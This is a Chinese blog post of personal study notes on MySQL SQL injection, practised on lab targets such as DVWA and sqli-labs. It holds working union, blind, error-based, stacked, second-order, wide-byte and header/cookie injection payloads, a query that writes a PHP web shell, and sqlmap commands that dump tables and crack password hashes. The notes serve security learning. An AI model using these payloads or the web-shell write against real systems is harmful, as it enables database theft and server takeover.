sql注入学习

y4ny4n

sql注入学习笔记,感谢好朋友月夜见提供的学习资料。包含union注入、布尔盲注、时间盲注、报错注入、堆叠注入、二次注入、宽字节注入、UserAgent/Referer/Cookie注入、sqlmap的使用…

14 SQL注入原理

OWASP top10

什么是SQL注入

  • sql:结构化查询语言

  • 应用系统使用sql管理数据库,采用拼接 的方式形成一条完整的数据库语言

  • 把sql命令插入到web表单输入域名页面请求的查询字符串

数据库基础

mysql

什么是数据库
关系型数据库管理系统(RDBMS)

关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。

RDBMS 的特点:

  • 1.数据以表格的形式出现
  • 2.每行为各种记录名称
  • 3.每列为记录名称所对应的数据域
  • 4.许多的行和列组成一张表单
  • 5.若干的表单组成database

image-20200324111143839

数据库基础
常用数据库查询语句
  • create datebase 创建数据库数据库名字不能使用全数字
  • drop database
  • show databases
  • select databses() 当前的数据库名

使用一个数据库 use 数据库名;

https://www.runoob.com/mysql

常用数据库内置变量
  • version() 查询数据库版本

    @@version 效果等同

  • user() 数据库运行的用户

  • datebase() 数据库名

相当于在命令行下执行 select version()

15、16 mysql注入常见函数

1.字符串链接函数

  • concat 链接多个字符串
1
2
select concat(name,'|',email,'|',passwprd) from users;
#若字符串查询内容中有一个为空,则整体为空
  • concat_ws
1
2
select concat_ws('|',name.email,password) from users;
#不会整体为空,第一个参数为分隔符,如果第一个参数为空,则整体为空
  • group_concat

    把字段里的内容一起显示,限制:查询出来的结果的长度默认是1024

1
select group_concat(username) from users;

​ 可以进行联合使用

1
select group_concat(concat_ws('|',username,id)) from users;

2.字符串截取函数

所有函数操作数从1开始而不是从0开始,除limit外

  • substring
1
2
3
select substring((select username from users limit 0,1),1,2)
#substring第一个参数 查询的结果字符串,第二个参数 从什么地方开始截取,第三个参数 长度是多少
#limit 如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目

substr也可以代替使用

  • mid
1
2
select mid('test123',2,3)
>est
  • left

    从左开始截取长度为3,right函数相反

1
2
3
4
select left('test123',3)
>tes
select right('test123',3)
>123
  • locate

    返回第一个参数字符串在第二个参数中第一次出现的位置

1
2
select locate(‘123test123','as123test123')
>3

3.返回指定的ASCII字符对应的数值

  • ascii

    只有一个参数,需要转换的

    ord与ascii用法相同

1
2
3
select ascii('a');
>97
select ascii(substring((select username from users limit 0,1),2,1));

4.返回指定数字对应的ascii字符

  • char
1
2
select char(97);
>a

5.字符串替换

  • replace

    把username字段里的zangsan sds替换为了hh

1
select replace((select  username from users limit 0,1),'zangsan sds','hh')

6.计算长度

  • length
1
2
select length('hahshdk');
>7
  • count

    记录某个表下有多少记录

1
select count(*) from users;

7.时间盲注会用到的函数

sleep、if

  • sleep

    使输出结果延迟了10s

1
select * from users union select 1,2,sleep(10);

8.读写文件函数

写文件

into outfile

把一句话木马写入

1
select "<?php@eval($_POST['mm'?])>" into outfile "d:/shell.php"

一般路径是网站的根路径

into dumpfile(读取二进制文件)

读文件

load_file()

1
select load_file('d:/shell.php')

9.注释方法

  • #
  • /— -
  • — +
  • /**/
  • / ! /
  • /!50000 / mysql5通用,带版本内联注释

17 18information_schema相关

information_schema(mysql 5.0以上的版本才存在)

在MySQL中,把information_schema看作是一个数据库,确切地说是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

https://www.cnblogs.com/shengdimaya/p/6920677.html

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases结果取于此表

TABLES表:提供了关于数据库中所有的表的信息。详细描述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname(数据库名)的结果取之此表。

COLUMNS表:所有数据库所包含的所有表的列名信息以及每个列的信息。是show columns from schemaname.tablename 的结果取之此表。

information_schema在mysql注入中的运用

先查询出mysql版本

19 、20 union注入

实验环境搭建:dvwa sqli-labs

基于union的注入

?后表示通过get方式传递的参数

order by判断当前查询表里的字段

?id=1 union select 1,2,3

?id=0(查询不到,执行后面的查询) union select 1,2,3

1,2,3为三个字段用于占位,可以更改为想要查询内容你的对应函数

获取对应表

?id=0 union select 1,database(),table_name from information_schema.tables where table_schema=’test’

>test:users

查询列

?id=0 union select 1,database(),column_name from information_schema.columns where table_schema=’test’ and table_name=’users’

>test:id

但列名不止id一个字段

?id=0 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=’test’ and table_name=’users’

查询出所有列名

如果只能看一个就可通过limit进行查阅

?id=0 union select 1,database(),column_name from information_schema.columns where table_schema=’test’ and table_name=’users’ limit 1,1

1
2
3
4
5
6
7
8
select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开

#
limit n 等同于 limit 0,n
获取数据

?id=0 union select 1,database(),username from users limit 0,1 //或使用group_concat()

具体操作

判断是否存在sql注入

  • 通过单引号进行查找

    ?id=114’

    单引号破坏了原来sql语句的语法,并报错。确定114’被采用拼接方式带入了数据库执行

    —+注释掉后面的单引号 +在url中是空格的意思

  • 当加减法对页面没有影响时,说明不是数字型的注入

  • 通过sleep判断sql注入是否存在

    ?id=114 and sleep(10)

    通过f12查询所需时间发现没有影响,说明可能把114后内容舍弃了

确定注入字段数

  • 通过order by
  • ?id=114’order by +字段数

联合查询

  • 通过编码方式绕过关键字过滤

  • 查询数据库版本 5.0以下不能使用information_schema

  • 查找出当前数据库

  • 查找出所有表

    ?id=114’ union select 1,2,table_name,4,5,6 from information_schema.tables where table_schema=’interali_project’—+

    可以通过group_concat将查询结果连接在一起

  • 获取相关表的字段名

    ?id=114’ union select 1,2,column_name,4,5,6 from information_schema columns where table_schema=’interali_project’ and table_name=’usertable’—+

  • 获取字段下的数据

    ?id=114’ union select 1,2,username,4,5,6 from usertable—+

21 、22 布尔盲注

手工注入过程

1.获取数据库名字长度

?id=1’ and (length(datebase()))—+

?id=1’ and (length(database()))>5—+

2.获取数据库名字

?id=1’ and ascii(substr(database(),1,1))>100—+

//排序除limit外,都从1开始

使用burp的intruder模块遍历

3.获取表的数量

?id=1’ and (select count(*) from information_schema.tables where table_schema=database())>5—+

4.获取表名的长度

?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1//只获取第一个表名)>5—+

通过limit获取每张表表名的长度

5.获取表的名字

?id=1’ and (select ascii(substr(table_name,1,1) from information_schema.tables where table_shcema=database() limit 0,1)>100—+

6.获取列名的数量

?id=1’ and (select count(column_name) from information_schema.columns where table_schema=databse() and table_name=’emails’)>5—+

7.获取列名的长度

?id =1’ and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=’emails’ limit 0,1)>2—+

8.获取列的名字

?id=1’ and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name=’emails’ limit 0,1)>100—+

9.获取表中的数据

获取数据

?id=1’ and ascii(substr((select id from emails limit 0,1),1,1))=49—+

?id=1’ and ascii(substr((select id from emails limit 1,1),1,1))=50—+

…….

使用burpsuite

进行抓包-> Intruder->Positions(目标)->Sniper(狙击模式)->clear 去掉默认加的变量符->把需要猜测的ascii值加上变量符 $114$ ->设置Payload payload set=1 payload type=Numbers ->选择sequential(顺序)或random,from 0 to 127,step=1->start

最好使用等于号,而不是大于号小于号,使结果一目了然,只有一个

23 时间盲注

通过时间变化判断sql语句是否被成功地执行

判断id数据类型成功执行sql语句

?id=1’ and sleep(10)—+

加载10s以上 查看方法:f12->Network 看到整个请求完成的时间

假设id是数字型 ?id=1 and if(1=1,sleep(5),1)//若1=1,sleep(5);else,返回1

没有延时,假设是字符型

?id=1’ and if(1=1,sleep(5),1)—+//若1=1,sleep(5);else

有延时,说明id是字符型

进行盲注

示例:?id=1’ and if(>123,sleep(5),1)—+

获取数据库版本号

?id=1’ and if(ascii(mid((select version()),1,1//字符串截取函数,类似于substr))>50),sleep(5),1)—+

?id=1’ and if(ascii(mid((select table_name from information_schema.tables),1,1))>50),sleep(5),1)—+

24 floor报错注入原理

十种MySQL报错注入

原理分析

1.rand()产生伪随机数的数列 随机产生0-1中间的数

rand(seed)

2.count(*)

select count(*) from floortest 查询表下有多少列

3.group by 分组

select * from floortest group by name

以name列为基准分组 name下重复的归到一组

select count(*),name from floortest group by name

4.floor()

向下取整 floor(2.99) -> 2

rand(0) seed=0 整条语句结果是固定的随机数

select floor(rand(0)*2); -> 0

select floor(rand(0)*2) from floortest; ->产生0和1两种结果

5.count(*)+group by创建虚拟表

会根据数据的需要,临时建立一个虚拟表,来进行计数

key count(*)
1 1
0 1

查询时 先查询表中key有无此数据,若没有,插入这个数据;若有,+1

第一个数为0 查询虚拟表中没有 插入floor(rand(0)*2) 语句再执行一次 变为1 所以插入key=1

第二个数为1 查询表中有1 count=1+1

第三个数为0 查询虚拟表中没有 插入floor(rand(0)*2) 又变为1

此时报错 Duplicate entry’1’ for key’group_key’

//键’group_key’的重复条目’1’

select count(),concat(user(),floor(rand(0)\ 2)) from floortest group by concat(user(),floor(rand(0)*2))

select count(),concat(user(),floor(rand(0)\2))x from floortest group by x //给concat(user(),floor(rand(0)*2))设置别名x,直接用x代表

若不知道表名可以使用

select count(),concat(user(),floor(rand(0)\2))x from information_schema.tables group by x

由于上面的语句查询出来的结果是一张表,必须将其变为具体数值(true false)才能与and进行操作,只能是布尔值,需要在嵌套一次查询

select from floortest where id=1 and **(select 1 from(select count(),concat(user(),floor(rand(0)*2))) x from information_schema.tables group by x)a);**

需要给(select count(),concat(user(),floor(rand(0)\2))) x from information_schema.tables group by x)表添加一个别名a

25 floor报错注入利用演示

查询数据库名

?id=1’) and(select 1 from(select count(*),concat( database(),floor(rand(0)*2))a from information_schema.tables group by a)x)—+

>‘security1’

查询表名

?id=1’) and (select 1 from(select count(),concat(==(select table_name from information_schema.tables where table_schema=’security’ limit 0,1)==,floor(rand(0)\2))a from information_schema.tables group by a)x)—+

查询列名

?id=1’) and (select 1 from(select count(),concat(==(select column_name from information_shcema.columns where table_schema=’security’ and table_name=’users’ limit 0,1)==,floor(rand(0)\2))a from information_schema.tables group by a)x)—+

查询到两列 username和password

查询数据

?id=1’) and (select 1 from(select count(),concat(==(select username from users limit 0,1)==,floor(rand(0)\2))a from information_schema.tables group by a)x)—+

?id=1’) and (select 1 from(select count(),concat(==(select password from users limit 0,1)==,floor(rand(0)\2))a from information_schema.tables group by a)x)—+

26 extractvalue()和updatexml()报错注入

报错原理

extractvalue()有两个参数

updatexml()有三个参数

两个函数都是在第二个位置的参数上进行修改注入

这两个函数都是用来处理xml文档的

报错都是xml语法错误

只要两个函数的第二个参数不符合xml语法,就会发生报错

?id=1’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1))—+

?id=1’ and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security ‘ limit 0,1),0x7e),1))—+

通过两个函数查询时需注意:查询数据长度限制在32位之内,如果超过32位

可以使用left() right() substr() 通过截取长度分段显示出来

26 堆叠注入

利用;隔开

和union注入的区别

and 1=1—+成立 and 1=2— +不成立来判断是否可以注入

order by 判断字段数 ==?==

?id=-888’ union select 1,2,3==?把888注释掉==

?=id=-888‘ union select 1,2,3;select sleep(5)—+

?=id=-888‘ union select ‘~‘,database(),’~’—+

?=id=-888‘ union select ‘~‘,table_name,’~’ from information_schema.tables where table_schema=’test’—+

?=id=-888‘ union select ‘~‘,column_name,’~’ from information_schema.columns where table_schema=’test’ and table_name=’floor_test’—+

更改数据

?id=-888’;update floortest set name=’change’ where id=6 —+

还可以进行delect/插入操作

原理:php使用PDO编译,存在堆叠注入,可以执行多条sql语句

union注入只能进行查询操作

27 二次注入

攻击者在注册的地方构造恶意的sql语句,提交到服务器储存到数据库中

注册 username:admin’# password:123456

修改admin’#的密码

查看数据库发现admin’#密码未被改变 而admin密码改变

原理:

修改密码源码

1
$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'";

实际修改了admin的密码 并且’ and password=’$curr_pass’被注释了

这样就可以实现随意指定用户名而不用知道他的密码 修改其密码

28 宽字节注入

一.什么是宽字节注入

宽字节注入是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节

二.宽字节注入的条件

1)数据库查询设置为GBK编码

2)addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数(会对输入的字符串产生过滤操作)

两条同时满足

三、原理

假设我们传递一个参数id=1’ 会被认为单引号是不合法的,会被过滤函数添加转义”\”给过滤掉。要想程序接受我们传递的参数中包含单引号,就需要把转义字符给干掉

当http协议传输时,要经过url编码的(空格变为%20,单引号变为 %27),如果这个编码完成后,传递到服务器,==有奇数个数==(有奇数个url编码),它会把前边偶数个数的字符当gbk编码去解码,那么剩下的就当普通的url去解码,所以我们就可以在单引号之前添加一个%81这样的编码,这样到最后解码的时候,这个%81就会和”\”对应的编码相结合按照gvk的要求去解码,最后就只剩下个单引号。

四、实例

%5c表示反斜杠

?id=1’

提交过后 1%5c%27

?id=1%81’

提交过后 1%81%5c%27

由于gbk编码特性,%81%5c组合,%27解码成单引号

发生报错,说明成功干扰,%81%5c解码成中文

按照正常流程进行注入

进行union,order by下一步操作

?id=1%81’ union select 1,2,3—+

页面不显示,如果想将联合查询的内容显示到页面上

?id=-1%81’ union select 1,2,3—++

前面的-1查询不到,就会把后面的内容显示到页面上

在2,3位置查询user() database()

进行后续系列操作

注意:table_schema=’security’又被转义,这时不能通过宽字节注入,因为对应的数据库名前对加上汉字,可以转换字符串为对应的十六进制0x+就可以解决问题

五、其他

若想将网页修改为gbk编码方式:更多->文字编码->简体中文

gbk编码是由两个ascii字符来解码的,gbk编码汉字是从%81开始的

从81开始都可以到FE结束,都可以达到编码效果

29 UserAgent、Referer、Cookie注入

注入点不仅存在与get/post传参,请求包头部字段user-agent/referer/cookie/x-forwarded-for(头部字段名)都有可能发生sql注入

user-agent注入

使用burp抓包分析请求报文

将抓到的post请求包发送到repeater模块

通过更改User-agent的值查看页面回显

user-agent:aaa’ 使用闭合单引号发现出现报错,干扰了正常的sql语句

构造报错注入相关语句

使用—+和#都报错说明注释可能无法使用,改为

user-agent:aaaa’ and ‘1’=’1

使用常见的三种报错函数进行报错注入

user-agent: aaa’ and extractvalue(1,concat(0x7e,(select user()),0x7e)) and ‘1’=’1

后续进行sql注入

select @@basedir为安装路径查询

cookie注入

Cookie:uname=admin

Cookie:uname=admin’ 产生报错

Cookie:uname=admin’ and ‘1’=’1

Cookie:uname=admin; and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))

注意:取出数据的长度最多三十二位,如果想要完整显示出来,需要使用字符串截取函数分段显示出来

30 通过注入漏洞获取账号密码登录后台网站

?id=1’ 页面发生变化,变为空白

?id=1’—+ 页面保持空白,说明此处id类型不是字符型

?id=1 and 1=1 页面正常显示

这时看?id=1 and 1=2 若也正常显示,说明此处不存在注入点;不正常显示,判断为数字型的sql注入

?id=-1 union select 1,2,3,4

查出字段后 将查询值改为查不到的数值可以看到字段在哪里回显

31 sqlmap简介与使用

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,采用四种SQL注入技术:union注入,堆叠注入,报错注入,时间盲注,布尔盲注

sqlmap基于python2.7

sqlmap使用

判断是否存在注入

①sqlmap -u http://193.112.113.137/sqlilbs/less-1?id=1

弹出it looks like the back-end DBMS is “MySQL”.Do you want to skip test payloads specific for other DBMSes?进行交互

(数据库可能是MySQL数据库,是否跳过检测其他数据库)

for the remaining tests,do you want to include all tests for ‘MySQL’ extending provided level(1) and risk(1) values?

(在level(1) and risk(1)情况下,是否使用Mysql所有的payload进行检测,默认即可)

②使用burpsuite抓包

将请求(Request-Raw)复制到kali中

创建文本文件vim sqlcheck.txt

sqlmap -r sqlcheck.txt

效果和①相同

当payload只有Id一个参数时不用加双引号,当有两个参数时,sqlmap -u “http://193.112.113.137/sqlilabs/less-1?id=1&uid=1 “ 使用&并添加双引号

查询当前用户下所有数据库

sqlmap -u http://193.112.113.137/sqlilabs/less-1?id=1 —dbs

获取某个数据库中的表名

sqlmap -u http://193.112.113.137/sqlilabs/less-1?id=1 -D(指定获取哪一个数据库中的表名) security —tables(获取security数据库中所有表名)

获取某张表中的字段名

sqlmap -u http://193.112.113.137/sqlilabs/less-1?id=1 -D(指定获数据库来定位)security -T users —columns

获取字段里的数据

sqlmap -u http://193.112.113.137/sqlilabs/less-1?id=1 -D(指定获数据库来定位)security -T users -C id,username,password

—dump

需要获取的字段通过逗号连接 id,username,password

32 sqlmap自动化注入实战

首先判断注入点是否存在

sqlmap -u url

如果不确定注入点是否在get方式,可以把http请求保存到文本,sqlmap -r 在文本中读取http请求进行测试

读取当前所有数据库 —dbs

查看当前的数据库 sqlmap -u url —current -db

获取数据库中所有表

sqlmap -u url -D nonoi_col(数据库名) —tables

获取表里的字段

sqlmap -u url -D nonoi_col(数据库名) -T cat(表名) —columns

获取数据

sqlmap -u url -D nonoi_col -T cat -C cat_name,cid —dump

如果直接使用—dump

sqlmap -u url —dump

自动把所有数据库中所有表给读取出来

并对相应的哈希值进行暴力破解

33 sqlmap的使用以及load_file()读取目标系统文件

sqlmap连接需要登录的页面

ipconfig查询本地ip

sqlmap -u “http://172.20.10.2/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# “ —dbs

会显示sqlmap got a 302 redirect to ‘…’ 进行重定向

如果换一个浏览器,访问上述地址会首先判断是否登陆过系统

如果没有登录,就会跳转到登录页面登录

如果使用sqlmap遇到这种需要登录才能访问的页面,直接点击回车是不会测出任何结果

我们需要得到对应Cookie,获取cookie的几种方式

①f12->console(控制台)->输入js语句 document.cookie

会把当前用户的cookie信息打印下来

②burp抓包获取cookie

burp获取到的请求报文复制

vim cookie.txt(新建一个txt) 保存请求报文

sqlmap -r cookie.txt —dbs

也可以达到同样的效果

sqlmap -u “http://172.20.10.2/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# “ —cookie=”” —dbs

其他参数

1.查看正在连接的数据库

sqlmap -r cookie.txt —current-db

2.获取数据库用户的密码

sqlmap -r cookie.txt —passwords

列举出用户和密码哈希值 接着破解密码的哈希值

3.获取当前数据库的用户名称

sqlmap -r cookie.txt —current-user

4.判断当前用户是否为管理权限

sqlmap -r cookie.txt —is-dba

如果 DBA:True,说明有管理权限

5.测试等级 —level

分为五个等级

如果平时不加等级,默认的等级为 —level 1

6.whereis sqlmap查看sqlmap所在目录

-> cd /usr/share/sqlmap

-> cd xml/

-> ls

->cd payloads

所有测试的payload都存储在该路径下的xml文件下,如果有自己想加入的测试路径,可以加入进来

如果使用—level 5是级别最高的,使用的payload最多的,会对自动破解Cookie,xff头部注入进行测试

运行速度很慢,最好不用使用最高等级

—level 2时会测试cookie相应注入

—level 3会测试 useragent

  • 本文标题:sql注入学习
  • 本文作者:y4ny4n
  • 创建时间:2020-11-30 22:08:45
  • 本文链接:https://y4ny4n.cn/2020/11/30/sql注入学习笔记/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!